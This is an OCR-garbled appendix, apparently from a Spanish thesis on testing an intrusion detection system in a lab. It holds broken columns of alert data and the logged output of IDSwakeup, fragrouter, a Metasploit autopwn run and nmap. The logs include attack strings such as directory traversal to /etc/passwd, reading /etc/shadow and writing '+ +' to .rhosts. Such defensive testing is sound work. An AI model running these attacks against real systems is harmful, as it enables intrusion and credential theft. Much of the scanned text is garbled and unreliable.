FTPCTRL] 34D344FA

FTPCTRL] 3C0C262
FTPCTRL]3C1180A
Telnet] S5SE53E88
Telnet]B21D15
Telnet] 2D60EBB
Telnet]38985B5
Telnet]2616084
Telnet]5E53E7D
Telnet]5E540E3
SMTP]2D634A2
Telnet]260EEO4
Telnet]211E5E1
SMTP]260EB11
FTPDATA]2D665A1
Telnet]2617CF8
2423FF6
2D672CB
B1F760
B1F63F
211E5A6
5BDAADG
B24E8A
B253FD

Telnet
Telnet
Telnet
Telnet
Telnet
Telnet
Telnet
Telnet

[ I S R '

-18.
-16.
-20.
-18.
-18.
-18.
-17.
-16.
-16.
-19.
-18.
-15.
.28
-19.
-15.
-15.
-14.
-15.
-14.
-14.
-14.
-14.
.23

-18

-18

-14.
-14.
.25
-14.
-13.
-14.
-16.
-16.
-16.
-16.
-13.
-13.
-13.
-13.
-14.
-14.
-13.
-13.
.10
-13.
-16.
-13.
-13.
-14.
-12.
-13.
-13.
-16.
-12.
-13.
-13.

-14

-14

07
92
35
87
69
11
12
71
37
77
94
93

57
60
42
83
58
58
53
51
34

90
16

41
99
66
56
56
56
56
53
96
96
96
49
63
25
94

25
77
67
31
02
77
52
49
81
91
43
10
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.45
.45
.41
.28
.15
.51
.24
.81
77
.75
.03
.74
.62
.50
.41
.29
.26
.17
.99
.93
.82
.66
.65
.63
.57
.57
.56
.56
.54
.54
.54
.54
.54
.47
.36
.36
.36
.31
.25
.12
.09
.98
.85
.82
.75
.69
.64
.64
.60
.60
.60
.58
.55
.52
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.76e-01
.76e-01
.86e-01
.24e-01
.62e-01
.98e-01
.02e+00
.26e+00
.28e+00
.30e+00
.84e+00
.12e+00
.25e+00
.38e+00
.49e+00
.64e+00
.68e+00
.80e+00
.06e+00
.16e+00
.34e+00
.60e+00
.62e+00
.66e+00
.77e+00
.77e+00
.78e+00
.78e+00
.83e+00
.83e+00
.83e+00
.83e+00
.83e+00
.96e+00
.17e+00
.17e+00
.17e+00
.29%9e+00
.42e+00
.70e+00
.78e+00
.06e+00
.39%9e+00
.45e+00
.65e+00
.84e+00
.99%9e+00
.99e+00
.11e+00
.11e+00
.11e+00
.15e+00
.24e+00
.34e+00



Telnet
Telnet
Telnet

12420DF8
]
]
Telnet]2421132
]
]
]

2D60C1B
B25181

[

[

[

[

[Telnet]26148C8
[Telnet]B21E50
[Telnet]212380F
[Telnet]2617CCA
[SMTP]540DC13
[Telnet]24240E4
[Telnet]B218A6
[Telnet]2D67664
[FTPDATA]260E7D3
[FTPDATA]2D603F6
[Telnet]193E55C
[Telnet]3898C37
[Telnet]2423FA4
[Telnet]389854B
[FTPCTRL] 3792E236
[FTPCTRL] 3897B42
[FTPCTRL] 88FC1F
[FTPCTRL] 3COE54E
[SMTP]2D6731E
[FTPCTRL]B20BEC
[Telnet]193E424
[SMTP]2D66E67
[Telnet]2421051
[SMTP]260F1BE
[FTPCTRL] 22A0CB3E
[FTPCTRL]211B19F
[FTPCTRL] 2D662D0
[FTPCTRL] 3896FCB
[FTPCTRL]260E805
[Telnet]2614F57
[FTPCTRL] 3C0C231
[HTTP]21204C3
[HTTP]3C13499
[SMTP]891E27
[HTTP] 334A07A
[Telnet]3898584
[Telnet]2617CD7
[Telnet]2123629
[FTPCTRL] 3COE3BA
[FTPCTRL] 3897042
[FTPCTRL] 3897A2F
[FTPCTRL]3897B02
[SMTP]260E83D
[FTPCTRL] 2421001
[FTPCTRL
[FTPCTRL
[FTPCTRL]24221FE
[FTPCTRL] 88FC22
[FTPCTRL]21205D2
[HTTP]2125C41

211B184

]
1B23FDE
]
]

N
oy U1 U1 o1 U1 U1 O

w

.10
.41
.39
.17
.15
.79
.97
.75
.85
.08
.50
.19
.70
.70
.63
.50
.17
.23
.37
.37
.37
.37
.44
.98
.69
.37
.66
.75
.07
.07
.07
.07
.79
.47
.93
.91
.82
.83
.98
.10
.55
.00
.44
.44
.52
.52
.46
.45
.45
.45
.45
.41
.41
.25
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.52
.49
.49
.47
.47
.46
.42
.41
.40
.40
.36
.27
.21
.21
.16
11
11
.10
.10
.10
.10
.10
.09
.91
.91
.88
.81
.80
.80
.80
.80
.80
72
.68
.67
.63
.52
.50
.50
.50
.43
.40
.36
.36
.25
.25
.24
.18
.18
.18
.18
.14
.14
.13
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.34e+00
.44e+00
.45e+00
.51e+00
.52e+00
.52e+00
.69%9e+00
.70e+00
.74e+00
.75e+00
.88e+00
.19%9e+00
.42e+00
.42e+00
.59e+00
.79%9e+00
.80e+00
.82e+00
.84e+00
.84e+00
.84e+00
.84e+00
.86e+00
.61e+00
.63e+00
.74e+00
.04e+00
.10e+00
.11e+00
.11e+00
.11e+00
.11e+00
.50e+00
.70e+00
.74e+00
.90e+00
.05e+01
.06e+01
.06e+01
.06e+01
.10e+01
.11le+01
.14e+01
.14e+01
.20e+01
.20e+01
.21e+01
.24e+01
.24e+01
.24e+01
.24e+01
.27e+01
.27e+01
.28e+01



[SMTP]2D63EFF
[Telnet]540FEl6
[FTPCTRL]2D6189D
[FTPDATA] 3CODCE2
[FTPDATA]389816E
[Telnet]3898C6D
[Telnet]B1F298
[HTTP]211DD2D
[Telnet]24263DB
[SMTP]260EECB
[SMTP]260EAAS
[SMTP] 260EAAE
[HTTP]12611350
[HTTP]260FA4C
[HTTP]2120827
[SMTP]88C4A6
[Telnet]5E540DF
[SMTP]540DC15
[HTTP]211FF17
[HTTP]2125C3F
[HTTP]583319
[HTTP]21204C1
[HTTP]2120272
[Telnet]242658B
[FTPDATA]3898172
[FTPDATA]2D6700E
[FTPDATA] 2D66BE2
[HTTP]2125916
[SMTP]260F1C3
[SMTP]260F1C1
[SMTP]260E618
[SMTP]260E617
[SMTP]260E6DC
[SMTP]260E6DB
[SMTP]260E6DA
[SMTP]2611D52
[SMTP]261237C
[Telnet]1B249B4
[SMTP]261238F
[FTPDATA] 2D66BEO
[FTPDATA]2D6700C
[FTPDATA]26739D2B
[SMTP]260E615
[SMTP]891E28
[SMTP]2612901
[HTTP]58331B
[FTPDATA]2613CBS8
[FTPDATA
[
[
[
[
[
[

1 2D63FEA
FTPDATA]2613CB6
FTPDATA]2613FC6
FTPDATA]583D33
FTPDATA]583D2E
FTPDATA]2423303
Telnet]2610677

23
51

51
51
51
51
51
51
31
50
36
51
51
51
51
51
28
51
36
51
51
51
51

51
26
26
34
34
27
27
27
33
51
51
36
51
51
51
34
51
36
51
51
51
34
34
34
51
51
51

.25
.82
.07
.65
.65
.29
.18
.53
.48
.69
.58
.97
.16
.86
.15
.90
.38
.65
.17
.65
.52
.54
.59
.80
.69
.69
.69
.08
.21
.21
.95
.95
.18
.18
.18
.98
.04
.55
.22
.09
.09
.72
.18
.89
.46
.93
.57
.57
.87
.87
.87
.92
.92
.91
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.11
.06
.99
.97
.97
.96
.94
.93
.89
.88
.78
.57
.57
.56
.56
.49
.46
.25
.19
.16
.96
.95
.90
.88
.83
.83
.83
.80
.69
.69
.69
.69
.69
.69
.69
.69
.63
.60
.57
.53
.53
.50
.46
.39
.38
.33
.31
.31
.15
.15
.15
.12
.12
.11
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.29%9e+01
.32e+01
.37e+01
.39%e+01
.39%e+01
.39%e+01
.40e+01
.41le+01
.44e+01
.45e+01
.52e+01
.69e+01
.70e+01
.71le+01
.71le+01
.76e+01
.79e+01
.00e+01
.06e+01
.09%9e+01
.31le+01
.33e+01
.38e+01
.41le+01
.48e+01
.48e+01
.48e+01
.51le+01
.65e+01
.65e+01
.65e+01
.65e+01
.65e+01
.65e+01
.65e+01
.65e+01
.74e+01
.78e+01
.83e+01
.88e+01
.88e+01
.92e+01
.98e+01
.09%e+01
.11le+01
.18e+01
.23e+01
.23e+01
.50e+01
.50e+01
.50e+01
.54e+01
.54e+01
.56e+01



[SMTP]2610A5C
[FTPDATA]260E7D2
[SMTP] 260EAAF
[SMTP]891E29
[SMTP]261059F
[FTPCTRL]B207D6
[FTPCTRL]24210B5
[FTPDATA]24232FF
[FTPDATA] 2D66AFA
[FTPCTRL]211B17A
[FTPCTRL]2120C20
[FTPCTRL]212060C
[FTPCTRL] 2B539611
[FTPCTRL] 3897A74
[FTPCTRL]2F0F96BD
[FTPCTRL]260E7BS8
[FTPCTRL]19000C79
[FTPCTRL] 8902A9
[FTPDATA]ET7CFEDFED
[SMTP]260F662
[SMTP]2613775
[HTTP]2120229
[HTTP]B1FEFD
[Telnet]211D81C
[Telnet]24210CF
[Telnet]540FD38
[SMTP]2613F3F
[SMTP]2610251
[FTPCTRL] 2D662C7
[FTPCTRL]B24344
[FTPCTRL]2D6634B
[FTPDATA]2D6659C
[Telnet]2420EAS5
[FTPDATA] 2D66AFE
[FTPCTRL]B24168
[FTPCTRL] FB4FC37
[HTTP]BO521E
[FTPCTRL]F30BCC®6
[FTPCTRL]24226E2
[FTPCTRL]8928FA
[HTTP]211DD59
[FTPDATA]2123BOF
[FTPDATA]3220B199
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[FTPDATA]2D6700A 51 -5.17 8.61 4.96e+02
[FTPDATA] 2D66BDE 51 -5.17 8.61 4.96e+02
[HTTP]212044D 51 -5.64 10.30 4.98e+02
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7.6. ANEXO F. HERRAMIENTAS PARA REALIZAR LOS ATAQUES

7.6.1. IDSWAKEUP

USO:

sudo ./IDSwakeup 192.168.1.100 192.168.1.103 1 127

RESULTADOS:

- IDSwakeup
- Stephane Aubert

false positive generator

- Herv€® Schauer Consultants

src_addr:192.168.1.100

sending
sending
sending
sending
sending
sending
sending
sending
sending
sending
sending
sending
sending
sending
sending
sending
sending

192.168.

sending

192.168.1.100

192.168.1.100

\

teardrop

land

get phf

bind version

get phf syn ack get

ping of death

syndrop
newtear
X11

SMBnegprot

smtp expn root
finger redirect

ftp cwd root

ftp port
trin00 pong

back orifice
msadcs

dst addr:192.168.1.103 nb:1

ttl:127

1.100 -> 192.168.1.103 80/tcp GET /msadc/msadcs.dll HTTP/1.0

www_frag

->

192.168.1.103

HTTP/1.0

192.168.1.103
/AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAARAAAAAAAAARAAAAAAAARAAARAAAN
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

80/fragmented-tcp GET

80/fragmented-tcp GET

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAARAA

\

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA/ . ./cgi-bin/phf HTTP/1.0

sending

192.

192

192.
192.
192.
192.

www_bestof
168.
.168.
168.
168.
168.
168.

1

e e

.100
.100
.100
.100
.100
.100

192.
192.
192.
192.
192.
192.

168.
168.
168.
168.
168.
168.

= I =

.103
.103
.103
.103
.103
.103

80/tcp
80/tcp
80/tcp
80/tcp
80/tcp
80/tcp
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GET / HTTP/1.0

GET //////// HTTP/1.0
HEAD / HTTP/1.0
HEAD/./
/cgi-bin\handler
/cgi-bin\webdist.cgi



192.168.1.100 -> 192.168.1.103

80/tcp

/mlog.phtml

192.168.1.100 -> 192.168.1.103 80/tcp /mylog.phtml

192.168.1.100 -> 192.168.1.103 80/tcp
/cfide\administrator\startstop.html

192.168.1.100 -> 192.168.1.103 80/tcp /cfappman\index.cfm

192.168.1.100 -> 192.168.1.103 80/tcp /mall log files\order.log
192.168.1.100 -> 192.168.1.103 80/tcp /admin files\order.log
192.168.1.100 -> 192.168.1.103 80/tcp /cgi-bin\wrap

192.168.1.100 -> 192.168.1.103 80/tcp GET /cgi-bin/ph%66 HTTP/1.0
192.168.1.100 -> 192.168.1.103 80/tcp GET /sahsc.lnk HTTP/1.0
192.168.1.100 -> 192.168.1.103 80/tcp GET /sahsc.bat HTTP/1.0
192.168.1.100 -> 192.168.1.103 80/tcp GET /sahsc.url HTTP/1.0
192.168.1.100 -> 192.168.1.103 80/tcp GET /sahsc.ida HTTP/1.0
192.168.1.100 -> 192.168.1.103 80/tcp GET /default.asp::S$DATA HTTP/1.0
192.168.1.100 -> 192.168.1.103 80/tcp GET / HTTP/1.0
192.168.1.100 -> 192.168.1.103 80/tcp PUT /scripts/cmd.exe HTTP/1.0
192.168.1.100 -> 192.168.1.103 80/tcp GET /scripts/cmd.exe HTTP/1.0
192.168.1.100 -> 192.168.1.103 80/tcp BAD /scripts/cmd.exe HTTP/1.0
192.168.1.100 -> 192.168.1.103 80/tcp GET / vti pvt/administrators.pwd
HTTP/1.0

192.168.1.100 -> 192.168.1.103 80/tcp GET /cgi-bin/handler HTTP/1.0

192.168.1.100
HTTP/1.0
192.168.1.100 ->

->

192.168.1.103 80/tcp
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GET /../../../.

./../../etc/passwd

192.168.1.103 80/tcp GET /cgi-bin/perl.exe HTTP/1.0

192.168.1.100 -> 192.168.1.103 80/tcp GET /scripts/tools/newdsn.exe

HTTP/1.0

192.168.1.100 -> 192.168.1.103 80/tcp GET /search97.vts HTTP/1.0

192.168.1.100 -> 192.168.1.103 80/tcp GET /IISADMIN HTTP/1.0
sending ddos bestof .

192.168.1.100 -> 192.168.1.103 15104/tcp -S

192.168.1.100 -> 192.168.1.103 1595/tcp -PA >

192.168.1.100 -> 192.168.1.103 12754/tcp -PA >

192.168.1.100 -> 192.168.1.103 10498/udp pong

192.168.1.100 -> 192.168.1.103 10498/udp ping

192.168.1.100 -> 192.168.1.103 10498/udp stream/

192.168.1.100 -> 192.168.1.103 6838/udp newserver

192.168.1.100 -> 192.168.1.103 27665/tcp killme

192.168.1.100 -> 192.168.1.103 31335/udp PONG

192.168.1.100 -> 192.168.1.103 1606/udp 144

192.168.1.100 -> 192.168.1.103 1747/udp *HELLO*

192.168.1.100 -> 192.168.1.103 27665/tcp gOrave

192.168.1.100 -> 192.168.1.103 20432/tcp

192.168.1.100 -> 192.168.1.103 18753/udp alive tijgu

192.168.1.100 -> 192.168.1.103 20433/udp alive

192.168.1.100 -> 192.168.1.103 1610/tcp -S --setseq 674711609
sending ftp bestof .

192.168.1.100 -> 192.168.1.103 21/tcp PORT 127,0,0,1,0,23

192.168.1.100 -> 192.168.1.103 21/tcp PORT 10,6,6,6,0,23

192.168.1.100 -> 192.168.1.103 21/tcp PORT 127,0,0,1,255,510

192.168.1.100 -> 192.168.1.103 21/tcp passwd

192.168.1.100 -> 192.168.1.103 21/tcp site exec $p%PSPIPIPIP

192.168.1.100 -> 192.168.1.103 21/tcp SITE exec cat /etc/passwd ;-)



192.
192.
192.
192.
192.

sending

bof
192
192
192
192
192
192
192
192

sending

192.
192.
192.
192.
192.

sending

192.
192.
192.
192.
192.
192.
192.
192.
192.
192.

sending

192.
192.
192.
192.
192.
192.
192.
192.
192.
192.
192.
192.
192.
192.

168.
168.
168.
168.
168.

[ e e S

.100
.100
.100
.100
.100

192.
192.
192.
192.
192.

telnet bestof
192.168.1.100
ciscociscociscociscociscociscociscociscociscociscocisco
192.168.1.100

.168.
.168.
.168.
.168.
.168.
.168.
.168.
.168.

rlogin bestof
168.
168.
168.
168.
168.

[l N ST SRS

1.
.100
.100
.100
.100

e e

.100
.100
.100
.100
.100
.100
.100
.100

100

192.
192.
192.
192.
192.
192.
192.
192.

192.
192.
192.
192.
192.

tcpflag bestof

icmp bestof
.100
.100
.100
.100
.100
.100
.100
.100
.100
.100
.100
.100
.100
.100

168.
168.
168.
168.
168.
168.
168.
168.
168.
168.

168.
168.
168.
168.
168.
168.
168.
168.
168.
168.
168.
168.
168.
168.

1.
.100
.100
.100
.100
.100
.100
.100
.100
.100

Y e = = N =R Sy

e e e
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192

192.
192.
192.
192.
192.
192.
192.
192.
192.

192.
192.
192.
192.
192.
192.
192.
192.
192.
192.
192.
192.
192.
192.

168.
168.
168.
168.
168.

168.
168.
168.
168.
168.
168.
168.
168.

168.
168.
168.
168.
168.

.168.
168.
168.
168.
168.
168.
168.
168.
168.
168.

168.
168.
168.
168.
168.
168.
168.
168.
168.
168.
168.
168.
168.
168.

=R e

R R R e [ T = N = SR Sy Y

I T = N =S O e R Ry Ry

I T T e T S e B B e

.103
.103
.103
.103
.103

->

->

.103
.103
.103
.103
.103
.103
.103
.103

.103
.103
.103
.103
.103

.103
.103
.103
.103
.103
.103
.103
.103
.103
.103

.103
.103
.103
.103
.103
.103
.103
.103
.103
.103
.103
.103
.103
.103

21/tcp

21/tcp SYST
21/tcp CWD ~root
21/tcp STOR |
21/tcp RETR |

23/tcp

192.168.1.103

192.168.1.103

IFS=/

23/tcp su - root

23/tcp su root

23/tcp id; cat /etc/shadow
23/tcp echo "+ +">.rhosts
23/tcp resolv_host conf
23/tcp 1d preload

23/tcp 1d library pat

513/tcp

IFS=/

513/tcp su - root
513/tcp su root

513/tcp 1id; cat /etc/shadow

513/tcp echo "+ +">.rhosts

80/tcp -SF
80/tcp -SR
80/tcp

80/tcp -A

80/tcp -SFR
80/tcp -SFARPXY

80/tcp -SA
80/tcp -SAFR
80/tcp -XY

1999/tcp -S

icmp
icmp
icmp
icmp
icmp
icmp
icmp
icmp
icmp
icmp
icmp
icmp
icmp
icmp
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type:0 code:0
type:0 code:0 Hi BOB
type:3 code:0
type:3 code:l
type:3 code:2
type:3 code:3
type:3 code:4
type:3 code:5
type:3 code:13
type:3 code:14
type:3 code:15
type:4 code:0
type:5 code:0
type:5 code:l

SYST /etc/passwd ;-)

23/tcp

23/tcp



192.168.1.100 -> 192.168.1.103 icmp type:5 code:2
192.168.1.100 -> 192.168.1.103 icmp type:5 code:3
192.168.1.100 -> 192.168.1.103 icmp type:8 code:0
192.168.1.100 -> 192.168.1.103 icmp type:11 code:0
192.168.1.100 -> 192.168.1.103 icmp type:11 code:1l
192.168.1.100 -> 192.168.1.103 icmp type:12 code:0
192.168.1.100 -> 192.168.1.103 icmp type:13 code:0
192.168.1.100 -> 192.168.1.103 icmp type:14 code:0
192.168.1.100 -> 192.168.1.103 icmp type:15 code:0
192.168.1.100 -> 192.168.1.103 icmp type:16 code:0
192.168.1.100 -> 192.168.1.103 icmp type:17 code:0
192.168.1.100 -> 192.168.1.103 icmp type:18 code:0
sending : smtp bestof ...
192.168.1.100 -> 192.168.1.103 25/tcp rcpt to: bouncebounce
192.168.1.100 -> 192.168.1.103 25/tcp expn root
192.168.1.100 -> 192.168.1.103 25/tcp expn decode
192.168.1.100 -> 192.168.1.103 25/tcp debug
192.168.1.100 -> 192.168.1.103 25/tcp vrfy smtp
192.168.1.100 -> 192.168.1.103 25/tcp mail from: |
192.168.1.100 -> 192.168.1.103 25/tcp rcpt to: |
sending : misc_bestof ...
192.168.1.100 -> 192.168.1.103 161/udp public
192.168.1.100 -> 192.168.1.103 161/udp private
192.168.1.100 -> 192.168.1.103 161/udp all private
192.168.1.100 -> 192.168.1.103 162/udp trap trap trap
192.168.1.100 -> 192.168.1.103 5631/tcp ADMINISTRATOR
192.168.1.100 -> 192.168.1.103 32771/tcp -S
192.168.1.100 -> 192.168.1.103 6699/tcp .mp3
192.168.1.100 -> 192.168.1.103 8888/tcp .mp3
192.168.1.100 -> 192.168.1.103 7777/tcp .mp3
192.168.1.100 -> 192.168.1.103 6666/tcp .mp3
192.168.1.100 -> 192.168.1.103 5555/tcp .mp3
192.168.1.100 -> 192.168.1.103 4444/tcp .mp3
192.168.1.100 -> 192.168.1.103 8875/tcp anon@napster.com

sending : dos chargen ...
192.168.1.100 -> 192.168.1.103 19/udp hello

sending : dos_snork .
192.168.1.100 -> 192.168.1.103 135/udp hi !...

sending : dos_syslog ...
192.168.1.100 -> 192.168.1.103 514/udp BOMB

7.6.2. NIDSBENCH

USO:
sudo fragrouter -i ethl -ataque

ATAQUES:
-Bl: base-1: normal IP forwarding
-Fl: frag-l: ordered 8-byte IP fragments
-F2: frag-2: ordered 24-byte IP fragments
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-F3: frag-3: ordered 8-byte IP fragments, one out of order

-F4: frag-4: ordered 8-byte IP fragments, one duplicate

-F5: frag-5: out of order 8-byte fragments, one duplicate

-F6: frag-6: ordered 8-byte fragments, marked last frag first

-F7: frag-7: ordered 16-byte fragments, fwd-overwriting

-Tl: tcp-1: 3-whs, bad TCP checksum FIN/RST, ordered l-byte segments
-T3: tcp-3: 3-whs, ordered l-byte segments, one duplicate

-T4: tcp-4: 3-whs, ordered 1l-byte segments, one overwriting
-T5: tcp-5: 3-whs, ordered 2-byte segments, fwd-overwriting
-T7: tcp-7: 3-whs, ordered 1l-byte segments, interleaved null segments

-T8: tcp-8: 3-whs, ordered l-byte segments, one out of order

-T9: tcp-9: 3-whs, out of order l-byte segments

-C2: tcbc-2: 3-whs, ordered 1l-byte segments, interleaved SYNs

-C3: tcbc-3: ordered 1-byte null segments, 3-whs, ordered l-byte segments
-R1: tcbt-1: 3-whs, RST, 3-whs, ordered l-byte segments

-I2: ins-2: 3-whs, ordered l-byte segments, bad TCP checksums

-I3: ins-3: 3-whs, ordered l-byte segments, no ACK set

-M1: misc-1: Windows NT 4 SP2 - http://www.dataprotect.com/ntfrag/

-M2: misc-2: Linux IP chains - http://www.dataprotect.com/ipchains/

7.6.3. METASPLOIT

Uuso
sudo ./msfconsole

RESULTADOS
=[ msf v3.3-dev [core:3.3 api:1.0]
+ -- —--=[ 406 exploits - 260 payloads
+ -—- --=[ 21 encoders - 8 nops
=[ 190 aux

msf > db create

[*] The specified database already exists, connecting
[*] Successfully connected to the database

[*] File: /home/edsheut/.msf3/sglite3.db

msf > db nmap 192.168.1.103
[*] exec: "/usr/local/bin/nmap" "192.168.1.103" "-oX" "/tmp/dbnmap20091003-
7169-12ccmwr—-0"

NMAP: Starting Nmap 5.05BETAl1 ( http://nmap.org ) at 2009-10-03 20:25 COT
NMAP: Interesting ports on 192.168.1.103:

NMAP: Not shown: 994 filtered ports

NMAP: PORT STATE SERVICE

NMAP: 135/tcp open msrpc

NMAP: 139/tcp open netbios-ssn

NMAP: 445/tcp open microsoft-ds

NMAP: 1029/tcp open ms-lsa

NMAP: 2869/tcp open unknown

NMAP: 5357/tcp open unknown

NMAP: MAC Address: 00:19:D2:BB:1A:95 (Intel)

NMAP:

NMAP: Nmap done: 1 IP address (1 host up) scanned in 12.38 seconds
msf > db_hosts
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[*] Time: Sat Oct 03 20:25:18 -0500 2009 Host: 192.168.1.103 Status: alive 0S:
msf > db autopwn -p -e -r

[*] (3/38): Launching exploit/windows/smb/ms03 049 netapi against
192.168.1.103:445...
[*] (4/38) : Launching exploit/windows/dcerpc/ms03 026 dcom against

192.168.1.103:135...

[*] Started reverse handler

[*] (6/38) : Launching exploit/windows/smb/ms04 011 lsass against
192.168.1.103:445...

[*] Started reverse handler

[*] Trying target Windows NT SP3-6a/2000/XP/2003 Universal...

[*] Binding to 4d9f4ab8-7dlc-11cf-86le-
0020af6e7c57:0.0@ncacn_ip tcp:192.168.1.103[135]

[*] (7/38) : Launching exploit/netware/smb/lsass_cifs against
192.168.1.103:445...

[*] Bound to 4d9fd4ab8-7dlc-11cf-86le-
0020af6e7c57:0.0@ncacn_ip tcp:192.168.1.103[135]

[*] Binding to obffd098-a112-3610-9833-
46c3f87e345a:l.O@ncacn_np:l92.168.1.103[\BROWSER]

[*] (10/38): Launching exploit/windows/smb/ms06 066 nwwks against

192.168.1.103:445...

[*] Started reverse handler

[*] Sending exploit

[-] Exploit failed: DCERPC FAULT => nca s fault access denied

[-] Exploit failed: The server responded with error: STATUS ACCESS DENIED
(Command=47 WordCount=0)

[*] Started reverse handler

[*] Connecting to the SMB service...

[*] (15/38) : Launching exploit/solaris/samba/trans2open against
192.168.1.103:139...

[*] Binding to 3919286a-b10c-11d0-9ba8-
00c04£fd92ef5:0.0@ncacn np:192.168.1.103[\1sarpc]...

[*] (16/38): Launching exploit/windows/smb/ms05 039 pnp against
192.168.1.103:445...

[*] (18/38): Launching exploit/osx/samba/lsa transnames heap against
192.168.1.103:445. ..

[*] Binding to e67ab081-9844-3521-9d32~-

834f03800lcO:l.O@ncacn_np:l92.168.1.103[\nwwks]

[-] Exploit failed: The server responded with error: STATUS ACCESS DENIED
(Command=162 WordCount=0)

[*] Bound to 3919286a-b10c-11d0-9ba8-
00c04£fd92ef5:0.0@ncacn np:192.168.1.103[\1sarpc]...

[*] Getting OS information...

[*] Started reverse handler

[*] No target is available for Windows Vista (TM) Home Premium 6001 Service
Pack 1

[*] Connecting to the SMB service...

[*] (22/38): Launching exploit/windows/brightstor/etrust itm alert against
192.168.1.103:445...

[*] Started reverse handler

[*] Binding to 8d9f4e40-a03d-11ce-8f69-
08003e30051b:1.0@ncacn np:192.168.1.103[\browser]
[*] (25/38) : Launching exploit/windows/smb/ms06 066 nwapi against

192.168.1.103:445...
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[*] (26/38) : Launching exploit/windows/smb/ms04 031 netdde against
192.168.1.103:445...

[*] Started reverse handler

] Exploit failed: The server responded with error: STATUS ACCESS DENIED
Command=47 WordCount=0)
*] Connecting to the SMB service...
*] Binding to 3d742890-397c-11cf-9bfl-
0
*

[-

(

[

[

00805£88cb72:1.0@ncacn np:192.168.1.103[\alert]

[*] (29/38): Launching exploit/windows/smb/psexec against 192.168.1.103:445...
[-] Exploit failed: The server responded with error: STATUS ACCESS DENIED
(Command=162 WordCount=0)

[*] (30/38): Launching exploit/windows/smb/ms08 067 netapi against
192.168.1.103:445. ..

[*] Started reverse handler

[*] Started reverse handler

[*] Connecting to the server...

[*] Authenticating as user 'Administrator'

[*] Binding to e67ab081-9844-3521-9d32-
834f038001c0:1.0@ncacn np:192.168.1.103[\srvsvc]

[*] Job limit reached, waiting on modules to finish...

[-] Exploit failed: The server responded with error: STATUS ACCESS DENIED
(Command=162 WordCount=0)

[-1] Exploit failed: Login Failed: The server responded with error:
STATUS LOGON_ FAILURE (Command=115 WordCount=0)

[*] Trylng target Windows 2000 SP4...

[*] Binding to 2f5£3220-c126-1076-b549-
074d078619da:1.2@ncacn np:192.168.1.103[\nddeapi]

[-] Exploit failed: The server responded with error: STATUS ACCESS DENIED
(Command=162 WordCount=0)

[*] Started reverse handler

[*] Automatically detecting the target...

[*] Fingerprint: Windows Vista Home Premium Service Pack 1 - lang:Unknown

[*] Could not determine the exact language pack

[*] (31/38): Launching exploit/windows/smb/ms06 040 netapi against
192.168.1.103:445. ..

[*] (32/38) : Launching exploit/multi/samba/nttrans against
192.168.1.103:139...

[*] (34/38): Launching exploit/windows/smb/netidentity xtierrpcpipe against

192.168.1.103:445...

[*] Started reverse handler

[*] (35/38) : Launching exploit/windows/smb/msdns_zonename against
192.168.1.103:445...

[*] Job limit reached, waiting on modules to finish...

*] Started reverse handler

*] Connecting to the server...

*] Authenticating as user 'metasploit' with pass 'metasploit'...

*] No target detected for Windows Vista (TM) Home Premium 6001 Service Pack
/

Error: Login Failed: The server responded with error: STATUS LOGON FAILURE

Exploit failed: can't convert nil into Integer

]
]
]
]
Windows Vista (TM) Home Premium 6.0...
]
o
]
] Started reverse handler
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7.6.4. NMAP

USso
sudo nmap -0 -sV -sS -f 192.168.1.103

RESULTADOS

Starting Nmap 5.05BETAl ( http://nmap.org ) at 2009-10-03 20:39 COT
Interesting ports on 192.168.1.103:

Not shown: 994 filtered ports

PORT STATE SERVICE VERSION

135/tcp open msrpc Microsoft Windows RPC

139/tcp open netbios-ssn

445/tcp open netbios-ssn

1029/tcp open msrpc Microsoft Windows RPC
2869/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
5357/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)

MAC Address: 00:19:D2:BB:1A:95 (Intel)

Warning: OSScan results may be unreliable because we could not find at least 1
open and 1 closed port

Device type: general purpose

Running: Microsoft Windows Vista|2008

OS details: Microsoft Windows Vista SPO or SPl or Server 2008 SP1

Network Distance: 1 hop

Service Info: 0S: Windows

OS and Service detection performed. Please report any incorrect results at
http://nmap.org/submit/

Nmap done: 1 IP address (1 host up) scanned in 51.53 seconds
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